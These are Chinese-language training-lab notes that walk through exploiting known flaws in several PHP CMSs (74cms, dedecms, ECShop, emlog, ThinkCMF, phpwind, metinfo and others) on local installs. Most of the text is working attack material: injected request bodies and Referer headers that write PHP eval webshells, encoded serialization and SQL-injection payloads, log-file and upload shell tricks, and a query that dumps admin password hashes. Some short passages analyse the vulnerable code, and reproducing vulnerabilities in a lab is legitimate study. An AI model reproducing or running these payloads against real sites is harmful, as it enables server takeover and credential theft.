关于burp和抓包
代理抓包
打开bp
显示intercept is on,表明bp可以进行抓包了
使用firefox,打开代理
使foxyproxy显示绿色,机房电脑都有代理但自己电脑可以没有需要自己在扩展中添加。
开始抓包
点击刷新或其他的超链接即可捕获到数据,如果没有抓到多尝试几次(bp和代理都需要打开的状态)
注意:
如果多次尝试仍然没有抓到,可能就是bp和代理直接的端口不一致
Bp端口如下:
Foxyproxy的端口如下:
如果不一致,修改foxyproxy,直接点击选项->编辑->端口进行修改至一致
然后选择保存即可,再次尝试就可以捕获数据了
cms如下:
74cms
将文件夹放在php的www目录下
将网站里的74cms里的压缩包74cms5.0.1.rar放在www目录下并解压,重命名为74cms
将www下的74cms中upload里的所有东西复制到74cms目录下
打开php并启动,网站管理选择php版本为5.6.9
打开127.0.0.1/74cms安装,安装后打开网站后台管理并登录
点击系统(点不开的需要重新登录网站后台管理中心),打开代理,打开bp
在系统中点击保存修改(会自动弹出bp界面)
先点击这个
再在这里边将最后一段代码替换成以下代码,并点击左上角send
site_name=%E9%AA%91%E5%A3%AB%E4%BA%BA%E6%89%8D%E7%B3%BB%E7%BB%9F&site_domain='%2C+file_put_contents('403.php'%2Cbase64_decode('PD9waHAgcGhwaW5mbygpOz8%2B'))%2C'&site_dir=%2F74cms%2F&top_tel=000-00000000&bootom_tel=000-00000000&contact_email=&address=00%E7%9C%8100%E5%B8%8200%E8%B7%AF00%E5%8F%B70%E5%A4%A7%E5%8E%A600%E6%A5%BC&bottom_other=Copyright+%C2%A9+2019+74cms.com+All+Right+Reserved+&icp=icp000000000&isclose=0&close_reason=&statistics=&logo_home=&logo_other=
关代理,先访问127.0.0.1/74cms/application/common/conf/url.php(访问时出现空白页面即为成功),再访问127.0.0.1/74cms/application/common/conf/403.php,如下:
(此时可能需要重新登录网站后台管理中心),开代理,保存修改,打开bp,重复步骤8,将代码换成并点击左上角send:
site_name=%E9%AA%91%E5%A3%AB%E4%BA%BA%E6%89%8D%E7%B3%BB%E7%BB%9F&site_domain='%2C+file_put_contents('1.php'%2Cbase64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOz8%2B'))%2C'&site_dir=%2F74cms%2F&top_tel=000-00000000&bootom_tel=000-00000000&contact_email=&address=00%E7%9C%8100%E5%B8%8200%E8%B7%AF00%E5%8F%B70%E5%A4%A7%E5%8E%A600%E6%A5%BC&bottom_other=Copyright+%C2%A9+2019+74cms.com+All+Right+Reserved+&icp=icp000000000&isclose=0&close_reason=&statistics=&logo_home=&logo_other=
关代理
先访问127.0.0.1/74cms/application/common/conf/url.php(访问时出现空白页面即为成功),再访问127.0.0.1/74cms/application/common/conf/1.php(访问时出现空白页面即为成功),若出现No input file specified可以关闭防火墙,不行的话就打开php文件所在位置,搜索
.htaccess,用记事本打开,在/$1前边加上英文的?,保存后重启a’pache,再次先访问url.php,再访问1.php直至页面出现空白
打开蚁剑,右击添加,url地址为 http://127.0.0.1/74cms/application/common/conf/1.php,密码随便,进行连接测试,成功后再点击添加
其他:
RCE:
74CMS的RCE挖掘思路_长白山攻防实验室的博客-CSDN博客
在全局搜索unlink方法时,我发现了baudixml下的delete(),很明显这个方法获取了POST中的file_name后在147行无过滤就放入了unlink()方法,造成了任意文件删除。
所以通过这个方法便可以删除install.lock文件。
定位QSCMS_DATA_PATH常量确定了delete()方法的执行目录
访问,
①http://localhost/CMS/74cms/upload/index.php?m=admin&c=Baiduxml&a=index
点击删除所选获取请求包。
不知道为什么我没有删除成功。
.\Application\Common\Conf 有个db.php的文件
这两点很重要:
- 数据需要在数据库连接测试后才能写入文件,当然在实战中我们不可能有他的数据库账号密码,所以需要我们在vps开启一个mysql服务,在数据库账号密码地址中填写我们远端的信息即可,当然,这里也可以造成一个低危的SSRF,同时数据库主机字段,数据库用户名字段,数据库密码字段也都不能作为注入对象。
- 由于写入的文件是在return的array中的,导致不能通过闭合array()来执行恶意代码,恶意代码必须在array中执行。
在程序安装的过程中数据库名(这个修改过不去…),或者数据库表前缀修改成
abc_'.phpinfo().'
直接访问
如果是:
abc_'<?php @eval($_POST['aaa']);?>
catfishcms
搭建网站
进入前台,抓包修改请求方式,然后重发
修改请求方式(右键空白处)
![img](cms靶场复现,记录/wps77.jpg)
重发如下:repeater
![img](cms靶场复现,记录/wps78.jpg)
添加代码
先用这个,进行测试:
s=dir&filter[]=system&_method=__construct&method=*
返回目录成功
继续修改代码上传一句话木马
s=echo "<?php @eval($_POST[cmd]);?>" > cmd.php&filter[]=system&_method=__construct&method=*
蚁剑连接,根目录下的cmd.php
url: http://127.0.0.1/123/456/789/catfishcms/test/cmd.php
密码:cmd
连接成功
原理相关学习
几个关键点的知识点:
$user->friends_count
取对象的friends_count属性。
$t->homeTimeline($p)
调用对象的homeTimeline方法,方法中传入一个参数$p
漏洞修复
V4.8.54 的catfish/library/think/Request.php模块中Request类的method函数:
V4.8.57(漏洞修复后)的catfish/library/think/Request.php模块中Request类的method函数:
dedecms V5.7
后台代码执行漏洞
进入后台
点文件管理
上一级目录
新建文件
文件名aa.php 文件内容
蚁剑打开,右键空白处新建,
网站:http://127.0.0.1/dedecms/aa.php
密码:123
如果不成功关闭防火墙,成功点开
首先获取token :
访问 域名 + /dede/tpl.php?action=upload。
然后在页面源代码中获取到token值
访问:
域名+ /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=上图所查找(你的)的token值
访问 :域名 + /include/taglib/moonsec.lib.php
后台任意写入
点模块,辅助管理里面的广告管理,增加一个新广告,广告代码为
查看代码
获得地址
这句话 访问 域名+/plus/ad_js.php?aid=1 查看页面源代码,原来页面右键检查,MH
nocache=1&a=echo phpinfo();
Aid=3,刷新,查看页面源代码
Aid=1再弄一次MH
找到写入文件位置并访问
查看地址源码
构造payload
查看源码Phpinfo回显成功
后台任意文件上传(两种方式)
后台->模块->辅助插件->文件管理器->文件上传
可直接上传.php文件
后台->模块->辅助插件->文件管理器->新建文件
可直接写入一句话
点击回显
若写入一句话则可以直接用菜刀连接
4.忽视123,sys_verifies后台文件写入
版本:5.7sp1、5.7sp2
漏洞复现
payload
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\";phpinfo();die();//
写入文件:Dedecms/data/modifytmp.inc
漏洞分析 &GetShell
sys_verifies.php:152
else if ($action == 'getfiles')
{
if(!isset($refiles))
{
ShowMsg("你没进行任何操作!","sys_verifies.php");
exit();
}
$cacheFiles = DEDEDATA.'/modifytmp.inc';
$fp = fopen($cacheFiles, 'w');
fwrite($fp, '<'.'?php'."\r\n");
fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
$dirs = array();
$i = -1;
$adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__)); # 获取当前文件的绝对目录
foreach($refiles as $filename)
{
$filename = substr($filename,3,strlen($filename)-3); # 去掉$filename中的前三个字符
if(preg_match("#^dede/#i", $filename))
{
$curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) ); #去掉$filename中的DEDE(dede)制度
} else {
$curdir = GetDirName($filename);
}
if( !isset($dirs[$curdir]) )
{
$dirs[$curdir] = TestIsFileDir($curdir);
}
$i++;
fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
}
fwrite($fp, '$fileConut = '.$i.';'."\r\n");
fwrite($fp, '?'.'>');
fclose($fp);
上述代码中要求传入参数
$action=getfiles
$refiles是一个数组,数组中的内容将会被写入到$cacheFiles也就是DEDEDATA.’/modifytmp.inc‘文件中,(其中DEDEDATA为data文件夹的路径),并且$refiles的内容是可控的
我们首先尝试传入测试字符串:
payload_test1
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=hummer
前三个字母被删除了,因为源代码中有如下操作:
$filename = substr($filename,3,strlen($filename)-3); # 去掉$filename中的前三个字符
我们尝试写入自己的命令:
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=123"phpinfo(); die(); //
发现单引号和双引号都被转义了,因为Ddedecms在common.inc.php中对代码进行了全局addslash()过滤,会将双引号,单引号,斜杠前都加上一个斜杠
这里有个非常有意思的东西,我们输入的内容前三个字符会被删除掉,如果我们只输入/“,过滤后就会变成///“,程序恰好会帮助我们删除三个斜杠,这样就能成功过滤addslash函数了。
再次尝试修改我们的payload
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=\";phpinfo(); die(); //
成功写入!!
此文件在$action=down的部分还存在文件包含漏洞
我们向modifytmp.inc中写入测试代码:
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=\";eval($_GET[a]); die(); //
我的本地文件:
上图代码中存在文件包含漏洞,尝试利用
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=down&a=echo 'hummer';
测试成功!!(同样)
两个payload :
http://localhost/CMS/dedecms/DedeCMS-V5.7-UTF8-SP2/uploads/dede/sys_verifies.php?action=getfiles&refiles[\]=\%22;eval($_GET[a]);%20die();%20//
http://localhost/CMS/dedecms/DedeCMS-V5.7-UTF8-SP2/uploads/dede/sys_verifies.php?action=down&a=echo%20%27hummer%27;
ECSHOP
漏洞简介
该漏洞产生的根本原因在于ECShop系统的user.php文件中,display函数的模板变量可控,导致注入,配合注入可达到远程代码执行的效果。使得攻击者无需登录等操作,直接可以获得服务器的权限。
首先从user.php文件入手,代码中可以看到,系统读取HTTP_REFERER传递过来的内容赋值给backact变量。接着以back_act的值为参数,调用assign方法 (文件:/includes/cls_template.php )。
图片略:
assign方法的作用是把可控变量传递给模版函数,紧接着再通过display方法展示到页面上。
文件:/includes/cls_template.php
略:
接下来跟进display内部的insert_mod方法。
文件:/includes/cls_template.php
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;
return $fun($para);
}
insert_mod方法返回了一个动态函数调用,该函数名和参数均可控,根据攻击者的利用方法,我们可以得知调用的函数名为insert_ads,接下来跟进这一方法。
漏洞影响
ECShop(2.x、3.0.x、3.6.x)
复现原理
漏洞分析
insert_mod方法返回了一个动态函数调用,该函数名和参数均可控,根据攻击者的利用方法,我们可以得知调用的函数名为insert_ads,接下来跟进这一方法。
文件:/includes/lib_insert.php
/**
* 调用指定的广告位的广告
*
* @access public
* @param integer $id 广告位ID
* @param integer $num 广告数量
* @return string
*/
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
...//ignore
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
}
程序调用了fetch方法,参数由$row[‘position_style’]变量赋值,这一变量同样为外部可控输入点。
文件:/includes/lib_insert.php
继续看fetch函数
追踪_eval函数
$position_style
变量来源于数据库中的查询结构
然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询
payload
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -
函数中有一个判断
我们 id传入’/*
num传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能绕过了
var_dump一下
再看fetch函数,传入的参数被fetch_str函数处理了
追踪fetch_str函数,这里的字符串处理流程比较复杂
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
这一行意思是比如$source
是xxxx{$asd}xxx
,那么经过这行代码处理后就是返回this->select('$asd')
的结果
看看select函数
第一个字符为$时进入$this->get_val函数
我们$val没有.$又进入make_var函数
最后这里引入单引号从变量中逃逸
我们要闭合_var所以最终payload是
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx
会在网站跟目录生成1.txt 里面内容是getshell
2.x
phpinfo():
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
webshell:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
会在网站根目录生成1.php,密码:1337
3.x
phpinfo():
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
webshell:
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
会在网站根目录生成1.php,密码:1337
小脚本
下面给出一个序列化的php脚本(第9个位置就是你想要的):
<?php
$arr=array('num'=>'*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79776E50443977614841675A585A686243676B58314250553152624F546C644B543867506963702729293B2F2F7D787878,10-- -','id'=>'\'/*');
echo serialize($arr);
?>
end参考链接
https://cloud.tencent.com/developer/article/1333449
https://cloud.tencent.com/developer/article/1920591
四、复现过程
搭建网站
安装过程需要新建一个系统数据库ecshop
安装成功后,前往首页http://127.0.0.1/ecshop/,开代理,**刷新网页(不用登录),bp抓包**前台网页的包,不抓登录的包
点击登录进行抓包
修改Referer,查看phpinfo
抓到数据后选择重发
然后修改Referer内容
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
上传一句话木马到根目录
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d54497a4e4630704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
在网站根目录下生成一个1.php文件
蚁剑连接
url:根目录/1.php
密码:1234
emlogcms
文件上传:
搭建网站,复制src文件夹的内容
创建系统数据库emlog
登录后台,上传一句话木马
<?php eval($_POST[123]);?>
将一句话php文件放在文件夹中然后添加到压缩包1.zip(需要先创一个文件夹放进去,然后将文件夹压缩了)
然后选择上传
蚁剑连接
url:http://127.0.0.1/emlog/content/plugins/1/1.php密码:123
1/1.php
中的第一个1是你上传的压缩包的名字,第二个1.php就是你压缩的文件名密码是自己写在1.php里的一句话的密码
例如一句话木马:
<?php @eval($_POST[123]);?>
数据库备份拿shell
设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以可以通过这种方法将php语句写到log中。查询语句如下
set global general_log='on';
SET global general_log_file='C:/phpStudy/PHPTutorial/WWW/emlog/eval.php';
SELECT '<?php phpinfo();?>';
接下来在C:/phpStudy/PHPTutorial/WWW/emlog/目录下生成eval.php的log文件。
访问http://127.0.0.1/emlog/eval.php,查看获取shell。
sql注入:
访问http://127.0.0.1/emlog/admin/comment.php,点击根据ip删除,用burpsuite抓取数据包,构造payload
/emlog/admin/comment.php?action=delbyip&token=abac6e12c2abe9b29797b64481ef6ed4&ip=127.0.0.1′and (extractvalue(1,concat(0x7e,(select user()),0x7e)))# 注入时得进行编码处理才能成
Empire
搭建网站
直接访问根目录发现是一个首页没有安装提示
在网站目录后面加上/e/install,然后按步骤安装完成
注意端口为3306,认证码为admin888
创建.mod后缀的文件
创建一个1.php内容如下:
<?php file_put_contents("shell.php","<?php phpinfo();?>");?>
修改后缀添加.mod
上传文件
数据表名随便写,上传
访问shell.php
修改网址的最后一个文件名为shell.php
例如:
http://127.0.0.1/319/empire/upload/e/admin/admin.php?ehash_DyiPu=VDJ5FCr3Aa3zhW7RWQ9E
修改成:
http://127.0.0.1/319/empire/upload/e/admin/shell.php
访问得到phpinfo
上传一句话木马
新建2.php.mod文件中的内容如下:
<?php file_put_contents("shell.php","<?php @eval(\$_POST[asd]);?>");?>
重复上一边的上传过程,再次访问shell.php返回为空则上传成功!
蚁剑连接
url: 直接复制刚才返回为空的网址
密码:asd
Tinkcmf
访问
http://localhost/thinkcmf/public/?s=install
访问后台
门户管理中添加分类
http://localhost/thinkcmf/public/admin
分类别名中填 1’=>array(“”,””),phpinfo(),’2
Bp抓包 发到repetear
访问
http://localhost/thinkcmf/data/conf/route.php
传马时需要先删除之前创好的route.php
把reptear中的phpinfo改为一句话
@eval($_POST[123])
如:1’=>array(“”,””),@eval($_POST[123]),’2
发送后连接蚁剑访问
http://localhost/thinkcmf/public/admin
里面的%eval可能需要删去 蚁剑连上。
phpwind
搭建网站后登录
登入网站后台
找到漏洞点
选择自定义html
调试代码
内容填入
下一步完成后选择调用代码
选择站外调用代码XML,去掉最后三个xml然后直接访问
得到phpinfo
上传一句话木马
返回然后选择管理,新建数据test2内容如下:
<?php fputs(fopen("asd.php","w"),"<?eval(\$_POST[asd]);?>");?>
点击提交,调用代码再访问一次站外调用代码XML,根目录下创建一个asd.php文件
选择站外调用代码XML,去掉最后三个xml然后再次直接访问
蚁剑连接
url:
http://127.0.0.1/phpwind/asd.php
密码:asd
metinfo
搭建网站
进入网站前台
sql注入
直接在网站后添加
/member/login.php/aa'UNION%20SELECT%20(select%20concat(admin_id,0x23,admin_pass)%20from%20met_admin_table%20limit%200,1),2,3,4,5,6,1111,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23/aa
查看网站源代码
Ctrl+u或者右键查看源代码
得到网站的后台的账号密码,密码是md5加密